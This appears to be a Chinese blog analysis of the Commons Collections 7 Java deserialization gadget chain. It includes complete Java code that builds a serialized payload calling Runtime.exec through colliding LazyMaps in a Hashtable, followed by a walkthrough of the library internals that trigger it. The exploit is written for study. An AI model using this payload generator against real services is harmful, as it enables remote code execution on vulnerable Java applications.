简介

Commons Collections7也是用LazyMap导致 RCE,这里触发Lazy.get的方式是利用Hashtable会重建内部的哈希表的特性.在遇到 hash碰撞的时候,会调用其中一个对象的equals方法来对比两个对象是否相同来判断是否真的是hash碰撞而,且使用的equals方法是父类 AbstractMap的equals 方法,在equals方法里边会用到map.get()方法(也就是lazyMap.get)。

适用版本:3.1-3.2.1,jdk1.7,1.8

主要代码

public static void main(String[] args) throws Exception {
    String command = "open /Applications/Calculator.app/";
    final String[] execArgs = new String[]{command};
    final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
    final Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",
                    new Class[]{String.class, Class[].class},
                    new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke",
                    new Class[]{Object.class, Object[].class},
                    new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec",
                    new Class[]{String.class},
                    execArgs),
            new ConstantTransformer(1)};
    Map innerMap1 = new HashMap();
    Map innerMap2 = new HashMap();
    // Creating two LazyMaps with colliding hashes, 
    in order to force element comparison during readObject
    Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
    lazyMap1.put("yy", 1);
    Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
    lazyMap2.put("zZ", 1);
    // Use the colliding Maps as keys in Hashtable
    Hashtable hashtable = new Hashtable();
    hashtable.put(lazyMap1, 1);
    hashtable.put(lazyMap2, 2);
    setFieldValue(transformerChain, "iTransformers", transformers);
    lazyMap2.remove("yy");
    FileOutputStream fos = new FileOutputStream("payload.ser");
    ObjectOutputStream oos = new ObjectOutputStream(fos);
    oos.writeObject(hashtable);
    oos.flush();
    oos.close();
    FileInputStream fis = new FileInputStream("payload.ser");
    ObjectInputStream ois = new ObjectInputStream(fis);
    Object newObj = ois.readObject();
    ois.close();
 }

利用链

cc71.png

分析

可以看到比较关键的部分是构造两个hashmap,通过lazymap的decorate用chained进行装饰后放进hashTable。
但是hashtable放进第二个lazymap时,因为两个lazymap的hash相同,所以将把第一个lazymap的key值yy放到第二个lazymap中,导致lazymap2中新添加yy->yy键值对。lazyMap的get函数如下

public Object get(Object key){
    if(!this.map.containsKeey(key)){
        Obiect value = this.factory.transform(key);
        this.map.put(key,value);
        return value;
    }else{
        return this.map.get(key);
    }
}

为了后边的hash碰撞,我们lazyMap2.remove(“yy”)就完事了。
然后反序列化的大致过程如下,在Hashtable的readObject方法中会把每个key-value放到table里边

for(;elements>0;elements--){
    K key = (K)s.readObject();
    V value = (V)s.readObject();
    reconstitutionPut(table,key,value);
}

当table放入第二个map的时候,会判断第一个lazymap的hash和当前key的hash是否相同以决定是新添加一个map还是覆盖原有的

int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) %  tab.length;
for(Entyr<?,?> e = tab[index]; e != null; e = e.next){
    if((e.hash == hash)&& e.key.equals(key)){
        throw new java.io.StreamCorruptedException();
    }
}

此时会调用AbstractMap的equals方法

public boolean equals(Object o) {
    if (o == this)
        return true;

    if (!(o instanceof Map))
        return false;
    Map<?,?> m = (Map<?,?>) o;
    //判断一下两个lazymap的大小一样不一样,此时都为1
    if (m.size() != size())
        return false;

    try {
        for (Entry<K, V> e : entrySet()) {
            K key = e.getKey();
            V value = e.getValue();
            if (value == null) {
                if (!(m.get(key) == null && m.containsKey(key)))
                    return false;
            } else {
                if (!value.equals(m.get(key))) // <-- 对于我们的 exp 来说, 会在这里会触发
                    return false;
            }
        }
    } catch (ClassCastException unused) {
        return false;
    } catch (NullPointerException unused) {
        return false;
    }

    return true;
}

只需要value!=null,我们就可以调用第二个lazymap的get函数,然后就是我们之前的老思路了.....

参考文章

java反序列化-ysoserial-调试分析总结篇(7)

Last modification:April 27th, 2020 at 01:45 pm